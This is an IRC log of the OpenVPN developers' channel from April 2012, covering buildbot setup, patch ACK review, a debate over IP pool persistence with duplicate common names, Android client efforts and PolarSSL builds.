21:37 -!- Irssi: #openvpn-devel: Total of 14 nicks [7 ops, 0 halfops, 1 voices, 6 normal] 23:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Wed Apr 04 2012 00:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:54 <@mattock> ecrist: raidz can take care of that 01:58 <@mattock> cron2: I'll have to make buildslave's check static directories... /root and /home/buildslave 01:58 <@mattock> there are way too many things wrong with $HOME... 01:59 <@mattock> on some hosts, it seems to work 01:59 <@mattock> on some not 01:59 <@mattock> if I restart a buildslave manually using sudo, $HOME becomes /home/<myuser> instead of /root 02:00 <@mattock> and on Ubuntu 10.04 $HOME is unset, unless I restart the buildbot service manually 02:00 <@mattock> in a nutshell, static directories are way simple :) 02:37 -!- dazo_afk is now known as dazo 04:38 <@mattock> cron2: where do you want to keep the t_client.rc and test keys? 04:39 <@mattock> I'll use that directory and adapt my buildslaves 04:40 <@mattock> I tried /home/buildbot but OpenBSD-4.9 buildslave didn't find anything there 09:58 <@mattock> I converted buildmaster to instruct the slaves to copy keys from /home/buildbot 09:58 <@mattock> and modified my slaves accordingly 10:01 < ecrist> started working on the BSDCan OpenVPN presentation last night, finally 10:02 < ecrist> I'm going to plan on recording it, somehow, and I'll post when it's all done/presented. 10:02 < ecrist> early june, probably. 10:03 <@dazo> cool! 10:10 <@mattock> ok, my buildslaves seem to work perfectly now 10:10 <@mattock> testing now on cron2's buildslaves 10:10 <@mattock> they're using keys from /home/buildbot 11:30 -!- raidz_afk is now known as raidz 11:32 -!- dazo is now known as dazo_afk 12:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:18 * ecrist acquires new VPS from RootBSD in Dallas, TX 14:49 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] --- Day changed Thu Apr 05 2012 01:41 <@cron2> mattock: /home/buildbot is fine, but there isn't anything there yet (old "empty t_client.rc" was in /home/buildbot/build-openvpn/) 01:41 <@cron2> mattock: so what do you need there? 01:42 <@mattock> cron2: lemme check... 01:42 <@mattock> t_client.rc 01:42 <@mattock> test-client.crt 01:42 <@mattock> test-client.key 01:42 <@mattock> test-ca.crt 01:42 <@mattock> can be dummy files at this point 01:42 <@mattock> just to keep buildbot happy 01:43 <@cron2> done 01:43 <@mattock> nice! 01:44 <@mattock> I'll trigger builds on your buildslaves 01:44 <@cron2> I'll create the files on the other slaves as well... 01:45 <@mattock> ah, build started on all, be quick :) 01:45 <@cron2> done 01:45 <@mattock> you got ~30 secs 01:45 <@mattock> \o/ 01:58 <@mattock> cron2: all builds succeeded 01:59 <@mattock> so all builds now work, I just need to change the build flags so that they make more sense with the new buildsystem 01:59 <@mattock> Alon gave some suggestions, please chime in if you have any preferences 02:03 <@cron2> cool :-) - no suggestions yet 04:29 <@mattock> here's a sneak peak on the ACK system review: https://community.openvpn.net/openvpn/wiki/ACKSystemReview 04:29 <@vpnHelper> Title: ACKSystemReview – OpenVPN Community (at community.openvpn.net) 04:30 <@mattock> the delays are fairly long occasionally 04:30 <@mattock> email -> git 04:59 <@mattock> it's also surprisingly difficult to track the ACK process... not that many patches have had ACKs on the ml 05:00 <@mattock> the ACKs given in the meetings are very difficult to track down 05:00 <@mattock> possible, but not worth the effort in this case 05:00 <@mattock> ... lunch 05:27 <@vpnHelper> RSS Update - tickets: #201: auth-pam leaves file descriptors open <https://community.openvpn.net/openvpn/ticket/201> 08:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 09:15 <@mattock> sent a summary of the review to openvpn-devel 09:16 <@mattock> with some ideas on how to improve patch throughput 09:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:37 < ecrist> sup krzee? 10:42 <+krzee> sup eric 11:59 < ecrist> I paid for a VPS at rootbsd yesterday 11:59 < ecrist> not a bad little machine 12:14 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 12:50 <+krzee> right on, liking it? 13:42 -!- caniba`oxa [~swagimusm@38.122.21.70] has joined #openvpn-devel 13:42 < caniba`oxa> howdy y'all 14:11 <+krzee> howdy 14:31 < ecrist> krzee: yes, so far, not done much with it 14:31 < ecrist> going to move most of my stuff to it, except the VMs, for now. 14:32 < ecrist> I might, at some point, get another, more powerful, machine set up, and do virtualbox on freebsd as a host 14:32 < ecrist> and migrate the VMs I've got on ESXi to that 14:33 <+krzee> cool 14:33 <+krzee> oh btw my linux vm is in production now :-D 14:33 * krzee very happy about that, was out celebrating last night 14:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 17:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:25 -!- caniba`oxa [~swagimusm@38.122.21.70] has quit [Quit: Get MacIrssi - http://www.sysctl.co.uk/projects/macirssi/] 19:35 -!- raidz is now known as raidz_afk 21:07 < ecrist> anyone around right now? 21:07 < ecrist> that's a forum user? 21:15 * ecrist finds something else to do --- Day changed Fri Apr 06 2012 02:33 <@mattock> happy Easter everyone! 02:33 <@mattock> will be back on Tuesday I think 02:34 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 07:43 -!- waldner [waldner@unaffiliated/waldner] has quit [Ping timeout: 272 seconds] 11:33 -!- raidz_afk is now known as raidz 14:06 -!- raidz is now known as raidz_afk 16:44 -!- maxb [~maxb@jabberwock.vm.bytemark.co.uk] has joined #openvpn-devel 16:46 < maxb> Hello. I'm curious why --ifconfig-pool-persist will not work with --duplicate-cn. Having read the code, it seems to me that all that is require to make it work, is to remove the code which bypasses the persistence algorithm when --duplicate-cn is set. 16:47 <+krzee> !ipp 16:47 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static 16:47 <+krzee> ipp is normally not what you want anyways 16:49 < maxb> I don't necessarily need completely static IPs, but that doesn't mean that it would be nice to provide some degree of stability of allocation 16:49 < maxb> Consider the case of a company intranet access VPN - allocating each employee a static IP is a waste of administrator time, but there's a certain convenience in minimizing re-allocation of IPs 16:52 < maxb> That's verging dangerously close to user support - my question for -devel is whether anyone can see any reason not to remove the code which explicitly breaks --ifconfig-pool-persist when --duplicate-cn is used. 16:52 < maxb> I'm contemplating doing that locally, but it seems plausibly upstreamable 18:01 < ecrist> wrong channel for this conversation, really. 18:03 <+krzee> oh whoa i didnt notice what what we were in 18:03 < ecrist> get off my lawn 18:03 <+krzee> lol 18:03 <+krzee> maxb, this is the dev channel, #openvpn for questions 18:03 <+krzee> (and support) 18:05 <+krzee> as far as the requested code change… it fixes a problem you shouldnt have… duplicate-cn shouldnt be used in production unless also using username/password auth, in which case you can use username-as-common-name and problem is gone 18:05 <+krzee> aka, you're doing it wrong ;] 18:07 < ecrist> krzee: http://forums.openvpn.net/vb4 18:07 <@vpnHelper> Title: OpenVPN Forum (at forums.openvpn.net) 18:07 < ecrist> try to login 18:07 < ecrist> let me know if it works for you 18:08 < ecrist> them I'm out for the night 18:08 < ecrist> hot date with the wife 18:09 < maxb> I'm fully aware this is the dev channel, I'm here because I'm asking questions about why the code has been written the way it has. 18:10 < maxb> As it happens, I *am* using username-as-common-name 18:11 < maxb> I don't follow how that means "problem is gone", though 18:11 < ecrist> well, then you don't use duplicate-cn 18:12 < maxb> But, I want the same username to be able to sustain multiple concurrent sessions 18:12 < ecrist> the problem with ipp and duplicate-cn is you end up with one user logged in (user1) and another user (user1) logs in, and openvpn gets confused trying to assign the same IP 18:12 < ecrist> which is part of the reason ipp is best-effort 18:12 < ecrist> IPP is not a guarantee 18:12 < ecrist> if you want static IPs, you need to use some other method 18:12 < maxb> I'm aware and happy for it to be only best effort 18:13 < ecrist> so what's your problem? 18:13 < maxb> I want my users to generally get an IP which rarely changes, but if they do try to connect multiple times, then all bets are off as far as IP allocation is concerned, but they will be allowed multiple sessions 18:14 < maxb> But, more dev oriented, I want to know why duplicate-cn influences the IP pooling at all 18:14 < ecrist> for the reason I stated above 18:14 < ecrist> patches are welcome, however 18:15 < ecrist> or, as a final option, we do offer full refunds of your original purchase price, no questions asked 18:15 < ecrist> :) 18:15 < maxb> The way I read the current code, minus the checks which bypass it in duplicate-cn mode, openvpn doesn't get confused, it just picks another IP if the same CN is already logged in 18:17 < maxb> Now, I may be reading the code wrongly, or it may be there's actually no real reason for duplicate-cn to disable best-effort persistence - and that's what I'm hoping to get clarified --- Day changed Sat Apr 07 2012 01:32 <@cron2> maxb: if you're still here: well, if I remember right, the CN is used as index in the ipp pool - so if you are using duplicate-cn, you have no unique index to identify a given client by, and thus no way to map a certain IP address to that user 01:32 <@cron2> if you have unique usernames, and use username-as-common-name, then it "should" work, but maybe nobody tested it - so fix it, test it, submit patch :-) 01:53 <+krzee> ecrist, doesnt log me in 01:55 <+krzee> maxb, you should be making either a) new certs for each client or b) new username for each client (while using username-as-common-name) 04:35 <@cron2> +1 04:35 <@cron2> if usernames *and* certs are the same, there is no way to uniquely identify a given client, and thus match it to an ipp address 06:17 < maxb> I feel I must not be explaining very well 06:18 < maxb> I *do* *not* *care* if the matching fails in the rare eventuality when a single user connects twice 06:18 < maxb> But for the majority of users who tend to only connect from one remote place at a time, I want best-effort address persistence 06:19 < maxb> Every user has a separate username, but I'm using duplicate-cn because I don't want to disbar users from simultaneously connecting from, say, two different laptops 06:21 * maxb goes to see if the git history reaches back far enough to identify the person who made the change back in 2005 06:21 < maxb> no :-( 06:24 * maxb clones openvpn-historical-cvs.git 06:27 < maxb> oh, that's only a release-by-release history 09:33 <+krzee> maxb, the problem you are trying to solve is caused by you doing it wrong, i dont think anyone will have interest in changing the code to accomidate doing it wrong more convieniently 09:34 < maxb> krzee: You keep telling me that I'm doing it wrong, but you've yet to explain (in a way I've understood) what's wrong with what I'm doing 09:35 < maxb> To restate the problem in hopefully simplest terms: Why is it wrong to desire best-effort persistent allocation of IPs? 09:41 <+krzee> !dupe 09:41 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user 09:42 <+krzee> in your case, since you use passwords, make a login / password for every user 09:42 < maxb> I already have that 09:42 <+krzee> i told you a number of times, you should be making either a new cert or a new login for every user 09:42 <+krzee> i consider this to now be a support issue, meant for #openvpn not here 09:42 <+krzee> well actually, not just now… it was from the beginning 09:43 < maxb> My question, from the very beginning, has been "Why has the code been written the way it has, concerning --duplicate-cn affecting the pool allocation policy" 09:44 <+krzee> that option is for testing, not for production 09:45 <+krzee> using it in production = doing it wrong :-p 09:45 <+krzee> and cron2 explained why 09:45 <+krzee> [05:35] <cron2> if usernames *and* certs are the same, there is no way to uniquely identify a given client, and thus match it to an ipp address 09:46 <+krzee> its that, combined with "you're doing it wrong" 09:46 <+krzee> happy now? of course not… cause its not the answer you wanted 09:46 <+krzee> but its still the answer 09:46 < maxb> Agreed, he did say that. But, given ipp is only best effort anyway, *that does not matter* 09:46 <@andj> krzee: I can see the use case where you want a default IP for a user, but still give users the opportunity to log in from both, let's say, your phone and your laptop 09:47 < maxb> *exactly* 09:47 <@andj> and give the first connection the default IP 09:47 <+krzee> i do have my phone and my laptop 09:47 <+krzee> and my voip phone 09:47 <@andj> and the second one a random one from a pool 09:47 <+krzee> difference is, i dont do it wrong 09:47 <+krzee> i made a new account for each 09:47 <+krzee> krzee_laptop krzee_cell krzee_snom 09:47 < maxb> Having an account per device is a policy decision. It may be right for your environment, but it's not right for mine 09:48 <+krzee> you're right, they could have made the code handle your cause of "doing it wrong" but nobody cares 09:48 <@andj> security-wise it's probably a good idea, since it makes it easier to 09:48 <+krzee> cause you're doing it wrong in the first place :-p 09:48 <@andj> revoke a single device if it's lost 09:48 <@andj> But it makes management of multiple devices much harder... 09:49 < maxb> andj: agreed, if the devices were using certs, but they're not, I'm using a setup where users authenticate to openvpn with their company intranet username and password 09:49 <+krzee> maxb, looks like you might have found a dev who cares to mod the code for you 09:49 * krzee watches andj raise his hand by accident 09:49 <+krzee> ;] 09:50 <@andj> nope, just a dev that says it's a legitimate use case, and if you want support, you need to fix it :) 09:50 < maxb> krzee: Can we end this conflict? I don't want anyone to write any code for me, I just want some assistance understanding why the current code has been written the way it has. 09:50 <@andj> I'm not really a network guy, so I'm afraid you've got the wrong person here, I'm more into crypto/ssl stuff 09:51 <+krzee> no conflict from me, just my explanation on why, over and over again (but you dont like the reason so you keep asking) 09:52 <@andj> so, if I understand correctly: multiple connections using the same CN is a badly supported feature, and will not work in all cases :) 09:52 < maxb> andj: Fair enough. The reason I'm here having this conversation in the first place is that it looks to me like openvpn will have exactly the behaviour I want if I simply delete some code: http://paste.ubuntu.com/918940/ - but that seems too easy 09:53 < maxb> krzee: Somewhere between your mind and mine, your explanation is failing to explain anything. It seems to me that you keep telling me I'm doing it wrong without explaining why you think that 09:54 <@andj> maxb: looking at your patch, the following seems to be the case: 09:54 < maxb> I can see that multiple connections from the same CN could go horridly wrong if you have per-client iroutes. But I don't. 09:54 <@andj> imagine client A and client B use the same CN 09:55 <@andj> client A connects, and receives a random IP from the pool of available ones 09:55 <@andj> client B connects, and receives a random IP from the pool of available ones 09:56 <@andj> if your patch were applied, the following were to happen: 09:56 <@andj> client A connects, and receives the IPP address 09:56 <@andj> client B connects, and receives the same IPP address 09:57 <@andj> AFAICT there isn't a mechanism to detect that it is in use 09:57 < maxb> ifconfig_pool_find will only allocate an address if !ipe->in_use, though 09:57 <@andj> but then again, I might be wrong 09:57 < maxb> this ought (I think) be enough to push client B onto a separate IP 09:57 <@andj> Anyway, feel free to experiment with it, and send in any patches/test results 09:59 < maxb> OK, thanks for looking, it seems that if there is a reason to disable IPP with duplicate-cn, it's a deeply obscure one. I guess I'll run the patch for a few weeks on my server and report back 10:00 <@andj> maxb: that would be great! If things do seem to work, use the openvpn-devel mailinglist to send in the patch, and mention your tests. 10:01 <@andj> And people will ack/nack it depending on any potential issues, using the normal OpenVPN acceptance procedures 10:02 < maxb> Sure - the reason I came here first was to try to discover if there was any knowledge about why it's currently done the way it is, that's not obviously evident from the code 10:04 <@andj> maxb: it's a good idea to have separate accounts for separate connections, which is why the support in that area is bound to be flaky 10:04 <+krzee> ild guess they just coded around any duplicate-cn issues cause its basically there for testing 10:04 <@andj> krzee: exactly 10:05 <@andj> OpenVPN has a ton of features, some of which interact with others in weird/unsupported ways 10:05 <+krzee> yep, i learned a bunch about the interaction of features i hadnt thought of mixing from jjk's book… that book is greatness! 10:07 <+krzee> oh and maxb… you could also control ip address allocation as you see fit in a client-connect script 10:07 <+krzee> !client-connect 10:07 <@vpnHelper> "client-connect" is --client-connect <script>, runs script on client connection. This can be useful for generating firewall rules dynamicly, or for assigning static ips. This can do anything that a ccd (see !ccd) entry can do, but dynamicly... to use it that way, you should write your dynamic ccd commands to the file named by $1. 10:08 <+krzee> so if your patch doesnt do what you want… you dont need to mod code to do it however you like… just an external script =] 10:08 < maxb> The separation of connections under different CNs would totally be the way to go in a certificate-based setup; less so when the authentication token is a password in someone's brain - then it's the brain behind the device that you're authenticating anyway, not the device 10:08 <@andj> krzee: that would be an interesting option 10:09 < maxb> Hmm... agreed I could basically re-implement the IPP functionality in an external script, and it would accomplish the same basic goal 10:10 <+krzee> it takes preference too =] 10:10 <+krzee> !iporder 10:10 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp 10:10 < maxb> Though now I've bothered to look into the code and determined a simple fix, I want to either see that through to completion, or gain understanding why my fix isn't actually a fix 10:10 <+krzee> cool 13:50 <@cron2> maxb: sorry for missing the discussion. But if I understood you right, and you indeed *are* using a different login for each user, there is nothing "fundamentally wrong" - in that case it's just assumptions in the code not reflecting every possible combination of options (and OpenVPN has way too many of them) 13:52 * cron2 <- developer who actually touched the ipp code :-) - but never tested this with --username-as-common-name 14:06 < maxb> Thanks - it's becoming clearer that decisions made when thinking about certificate auth often lead to different conclusions to when thinking about username auth 14:08 < maxb> I think the only mystery I'm left with now is the motivation behind the change "* When --duplicate-cn is used, the --ifconfig-pool allocation algorithm will now allocate the first available IP address." (from way back in 2.0.1-rc3) 14:17 <@cron2> if you assume that --username-as-common-name does not exist, this change sort of makes sense - "we have no idea who that user is, so an address might flip-flop between two different users alternating with the same CN, or seemlingly random the user that connects first would get 'his' IP address, so we better disable this altogether to avoid confusion" 14:18 <@cron2> now, *with* --username-as-common-name, it might actually do the right thing, if it looks at the right data structures (which I'm unsure of, whether it will look at "what is always the CN of the client" or "what the rest of the code is now considering the 'common name'"... 14:19 <@cron2> OpenVPN has lots of "this might lead to user questions, so better print out a warning right away!" code, or "let's not do this at all" 14:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:06 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 23:03 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Sun Apr 08 2012 03:35 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 276 seconds] 07:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] --- Day changed Mon Apr 09 2012 00:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:38 <@vpnHelper> RSS Update - wishlist: [Win32] Read configuration from STDIN <http://forums.openvpn.net/topic10269.html> 11:37 <+krzee> lol i wonder what that guy is trying to do 14:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 14:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:28 <@andj> hehe, I remember being introduced to the term bikeshedding here a while ago... 15:29 <@andj> https://lwn.net/Articles/490480/ 15:29 <@vpnHelper> Title: Re: Diversity statement for the Debian Project [LWN.net] (at lwn.net) 15:29 <@andj> https://lwn.net/Articles/490481/ 15:29 <@vpnHelper> Title: Re: Diversity statement for the Debian Project [LWN.net] (at lwn.net) 15:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] --- Day changed Tue Apr 10 2012 01:35 -!- dazo_afk is now known as dazo 02:51 <@cron2> moin 03:06 <@cron2> dazo: what about merging the "CHKACC_FILE" -> exec path changes by Jonathan K. Bullard? Got an ACK from me, is stalling tunnelblick+openvpn-alpha... 06:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 07:52 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 07:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 08:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:58 -!- novaflash is now known as NovaFlash 09:00 -!- NovaFlash is now known as novaflash 10:52 -!- dazo is now known as dazo_afk 15:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Wed Apr 11 2012 00:18 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 00:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:55 -!- dazo_afk is now known as dazo 01:04 <@dazo> cron2: hey, sorry I didn't have time to respond yesterday .... I'll have a look at it asap 01:56 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:56 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:45 <@cron2> dazo: good morning, and thanks :-) 03:46 <@andj> dazo: thanks for the mail on the ack review, I might have been a little too strong on the "don't change patches" front originally 03:46 <@cron2> I think there's a misunderstanding what "don't change patches" means... iterating patches until they get an ACK is perfectly fine, but *as soon as there is an ACK*, the patch is frozen 03:47 <@cron2> otherwise we lose audit trail 03:47 <@andj> My problem is with large series of patches, you tend to lose track of which one was acked, and which one needed to change 03:47 <@cron2> yeah, for such heavy series it's a bit tricky 03:48 <@andj> and some ack'ed patches might depend on nack'ed ones 03:48 <@andj> making it even more tricky 03:50 <@dazo> Agreed, big patch-sets with partial acks, actually means complete ACK review ... to be sure re-submitted patches are not modified on the way 03:51 <@dazo> So preview patches don't really need to hit the mailing list, unless there is a wish for a wider broadcast ... otherwise sending a URL to another git tree for reviews and testing are perfectly fine 03:52 <@cron2> +1 03:52 <@dazo> and then on final ACK review, patches to ML makes sense 03:53 <@dazo> (or strongly recommended) 03:54 <@andj> btw, as a quick heads-up, a colleague of mine is playing with Android & OpenVPN as well 03:54 <@andj> on top of the other efforts that are around 03:54 <@andj> We were a little dissatisfied with the JNI approach 03:54 <@andj> so he's looking into the management interface 03:55 <@cron2> what's "the JNI approach"? Is that what openvpn.tech's app is doing now? 03:57 <@dazo> andj: cool! In an organisation I'm helping with IT support, we've deployed OpenVPN ... and I would be willing to test out your Android stuff in that environment for at least one (non-tech) user - when things are getting a bit more stable 04:00 <@dazo> (the environment is AES-256 with tls-auth, file based certs + username/password auth, UDP and TAP) 05:35 -!- dazo is now known as dazo_afk 05:38 <@andj> cron2: not sure about tech's approach, I think that's similar to ours 05:38 <@andj> But tech is closed source :) 05:39 <@andj> dazo: thanks, we'll see how things go, not entirely sure if we can open source the client yet 05:39 <@andj> (read gui where I wrote client) 05:40 <@cron2> andj: ah, this is an alterantive implementation. Interesting, all of a sudden, a bunch of Android clients show up :-) 05:40 <@andj> has to do with the growth of ICS, and the fact that it's possible 05:41 <@cron2> I'm curious to see how the source code availability of OpenVPN tech's code turns out - given that OpenVPN tech is not owning all of the source code of openvpn, they can not "just release it under a different license" 05:41 <@cron2> of course they could strip everything that's not by James, and release the rest as closed source... 05:41 <@andj> If the gui works through the management interface, then the gui is separate 05:42 <@andj> and can be licenced whichever way they want 05:43 <@andj> If changes to OpenVPN are needed though... 05:43 <@cron2> true 05:43 <@cron2> as I said, I'm curious :-) 05:45 <@andj> anyway, I hope at some point we have a nice Open Source project there :) 05:45 <@cron2> +1 06:33 -!- novaflash is now known as novaflash_away 06:46 -!- novaflash_away is now known as novaflash 06:55 -!- novaflash is now known as novaflash_away 06:56 -!- novaflash_away is now known as novaflash 07:04 -!- novaflash is now known as novaflash_away 07:06 -!- novaflash_away is now known as novaflash 07:10 -!- dazo_afk is now known as dazo 07:46 <@andj> cron2: btw, I've got a partial goahead on Open Sourcing the app, just waiting on some info from the customer 08:04 <@cron2> cool 08:47 -!- novaflash is now known as whoami 08:50 -!- whoami is now known as novaflash 10:26 < ecrist> what app? 10:26 <@dazo> ecrist: OpenVPN for Android .... native client, where no rooting/CyanogenMod is needed 10:27 < ecrist> oh, that's public now? 10:27 * ecrist knew about it for quite a while, was told to keep mouth shut 10:30 <@dazo> no, it's just more solutions popping up 10:31 <@dazo> OpenVPN Tech have a test client, somewhat available ... Fox-IT is working on a client ... and a guy on -devel is also playing with something too 10:33 <@dazo> unfortunately, none of them have released any source code yet ... but Fox-IT might be the first one to release something, if all goes fine with the needed approvals 10:57 <@andj> it's early days yet in that department... speaking of which, anyone got some experience with cross compiling to android? 10:57 <@andj> I'm getting a warning that sys/un.h won't compile 11:16 <@andj> Hmm, it can't find in6_pktinfo 11:16 <@andj> hat sounds IPv6ish 11:23 * dazo points at cron2 and hides 11:45 <@cron2> nah, that's jjo stuff 11:46 -!- dazo is now known as dazo_afk 11:46 <@cron2> is that "old build system" or "new build system"? In any case it's Alon stuff if it doesn't find the right headers with the new build system 13:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 14:45 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] --- Day changed Thu Apr 12 2012 01:48 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:51 <@andj> cron2: you were right, it was build system stuff 01:54 -!- dazo_afk is now known as dazo 03:20 <@d12fk> what's the status of the alon patchset? Is all of the stuff that moves things around merged? 03:32 <@mattock> good question, I'd need to figure out what needs to be done before 2.3-alpha2 03:33 <@mattock> e.g. regarding NSI scripts 03:33 <@mattock> or actually packaging in general 05:34 <@d12fk> source code wise it's all done? 05:35 <@d12fk> I'm asking because I halted all development until it merged to avoid patch adjustment 05:49 <@mattock> d12fk: I think so, yes 05:49 <@mattock> Alon said "I've ran out of patches" 05:49 <@d12fk> ok 05:49 <@mattock> though I'm not sure if our all of it is already in Git tree, or if some patches are missing 05:49 <@mattock> dazo will know :) 05:50 <@dazo> there are some patches on the ML which needs some attention ... but need to gather a new overview ... also a few from andj, and JJK as well (elliptic curves support) 05:51 <@d12fk> but the general layout of the tree is stable(ish) again? 06:06 <@dazo> d12fk: yeah, the file structure should be fairly stable now 06:07 <@d12fk> ok thanks 06:07 <@dazo> Most of the patches I applied which was based on the old layout, I did: git am $patch ; patch -p1 < $patch ; git add -u ; git commit ........ the 'git am' is expected to fail (due to file layout changes, but preserves commit message) ... the rest is probably clear enough 06:08 <@dazo> whoops ... not 'git commit' at the end, but 'git am --continue' 06:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:47 <@mattock> andj: what do I have to install to get polarssl builds to work? 06:47 <@mattock> I'm integrating polarssl builds to the buildslaves atm 06:48 <@mattock> was it polarssl 1.1+? 06:50 <@dazo> yes, polarssl 1.1 or newer 06:50 <@dazo> (well, those patches restricting 1.1 or newer aren't applied yet, but will be) 06:52 <@mattock> seems that packages from debian testing install nicely on debian stable 06:52 <@mattock> should make my life a little easier 06:53 <@dazo> I installed a new SL6.2 firewall during Easter, and used the 2.3 alpha from snapshot repo ... worked like a charm 06:54 <@mattock> excellent! 06:54 <@mattock> ...first polarssl build ever on a buildslave 06:54 <@dazo> cool! 06:54 <@mattock> ./configure --with-crypto-library=polarssl --enable-crypto --enable-ssl 06:55 <@dazo> mattock: you can probably renamed the yum repo ... doesn't need to state "CentOS" ... EL (Enterprise Linux) is probably just as good ... as this should work on RHEL, CentOS and SL 06:55 <@mattock> configure worked, building 06:55 <@mattock> I could make symlinks probably 06:56 <@mattock> no, I couldn't, actually :D 06:56 <@dazo> why symlink? why not just say "EL" ... as that's pretty obvious for those working on EL platforms 06:56 <@mattock> well, because people are already using the CentOS URLs, no other reason 06:57 <@dazo> ahh .... scr*w them ... :-P 06:58 <@dazo> well, renaming the conf file and the []-label inside the conf file is a starter  06:59 <@mattock> or I could add a "cp -a" hack to cron and be done with it :P 06:59 <@mattock> oh, a little renaming obviously, which makes it even more of a hack 06:59 <@mattock> we got a build error 07:00 <@mattock> http://pastebin.com/VCF26vgh 07:00 <@mattock> dazo: I'll see what I can do with the repo name without breaking people's stuff 07:01 <@mattock> EL is a better name, more generic 07:01 <@dazo> yeah, the URLs itself isn't that critical ... that's not so visible (until you start reading the .repo file) 07:10 <@mattock> polarssl 1.1.0 from Ubuntu 12.04 installed fine on Ubuntu 10.04, nice 07:10 <@mattock> this is way too easy, where's the challenge :P 07:14 <@dazo> mattock: you'll regret saying that .... 07:14 <@mattock> probably 07:14 <@dazo> :) 07:22 <@mattock> I've put the packages here, in case you need them: http://build.openvpn.net/downloads/polarssl/ 07:22 <@vpnHelper> 